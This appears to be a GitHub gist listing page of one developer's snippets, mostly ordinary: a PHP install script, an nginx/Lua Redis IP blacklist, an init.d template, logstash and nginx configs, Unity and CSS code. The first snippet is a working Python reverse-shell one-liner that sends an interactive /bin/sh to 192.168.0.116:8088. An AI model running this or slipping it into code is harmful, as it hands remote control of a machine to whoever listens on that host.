Skip to content

Instantly share code, notes, and snippets.

View mylxsw's full-sized avatar
🎯
Focusing

管宜尧 mylxsw

🎯
Focusing
View GitHub Profile
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.116",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
@mylxsw
mylxsw / install_php72.sh
Last active July 16, 2020 08:16
install_php72.sh
#!/usr/bin/env bash
mkdir /data/software
cd /data/software
yum install -y libxslt-devel libcurl-devel openssl-devel libjpeg libjpeg-devel libpng libpng-devel freetype freetype-devel
wget http://hk1.php.net/distributions/php-7.2.3.tar.gz
tar -zxvf php-7.2.3.tar.gz
cd php-7.2.3
@mylxsw
mylxsw / ip_blacklist.lua
Last active October 22, 2019 11:52 — forked from Ceelog/cloudSettings
nginx ip blacklist using redis, add password support
-- a quick LUA access script for nginx to check IP addresses against an
-- `ip_blacklist` set in Redis, and if a match is found send a HTTP 403.
--
-- allows for a common blacklist to be shared between a bunch of nginx
-- web servers using a remote redis instance. lookups are cached for a
-- configurable period of time.
--
-- block an ip:
-- redis-cli SADD ngx_ip_blacklist 10.1.1.1
-- remove an ip:
@mylxsw
mylxsw / init.d.script
Last active June 13, 2018 10:32
A very useful unix init.d script template
#!/bin/bash
### BEGIN INIT INFO
# Provides: SERVICE NAME
# Required-Start: $remote_fs
# Should-Start:
# Required-Stop: $remote_fs
# Should-Stop:
# Default-Start: 3 4 5
# Default-Stop: 0 1 2 6
# Short-APP_DESCRIPTION: SERVICE DESCRIPTION
@mylxsw
mylxsw / supervisor-watcher.sh
Created April 2, 2018 06:15
monitoring supervisor FATAL task, and restart it automatically
#!/usr/bin/env bash
supervisorctl status | grep FATAL | awk '{print $1}' | awk -F ':' '{print $1 ":*"}' | uniq | xargs -I {} supervisorctl restart {}
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class GameControl : MonoBehaviour {
public GameObject[] objects;
public Transform transform;
private int current;
@mylxsw
mylxsw / logstash-biz-logs.conf
Last active August 26, 2018 11:50
logstash-biz-logs.conf
input {
beats {
port => 5044
}
}
filter {
if [log_type] == "php_slow" {
# php 慢查询日志
ruby {
@mylxsw
mylxsw / nginx-lua-firefox-filedownload.conf
Last active December 26, 2023 02:37
nginx+lua解决不同浏览器文件下载兼容性,解决文件乱码问题
location /download/ {
root /home/data/images;
if ($request_uri ~* ^.*\/(.*)\.(doc|txt|zip|jpg|jpeg|png|gif|pdf|rar|xls|xlsx|docx|ppt|pptx|wps)(\?name=([^&]+))$) {
set $filename "$arg_name.$2";
header_filter_by_lua_block {
if ngx.status ~= 200 then
return
end
local ua = ngx.req.get_headers()["User-Agent"]
@mylxsw
mylxsw / rainbow.css
Created June 22, 2016 08:46
CSS彩虹渐变效果
.rainbow {
/* 页面顶部彩虹(渐变)效果 */
height: 4px;
position: absolute;
top: 0;
width: 100%;
background-image: -webkit-linear-gradient(left, #EF0000, #FBC4ED);
}
@mylxsw
mylxsw / blog-summary.php
Created June 22, 2016 08:45
博客文章内容生成摘要
<?php
/**
* 生成HTML摘要
*
* [本代码来自网络]
*
* @param string $body 正文
* @param int $size 摘要长度
* @param int $format 输入格式 id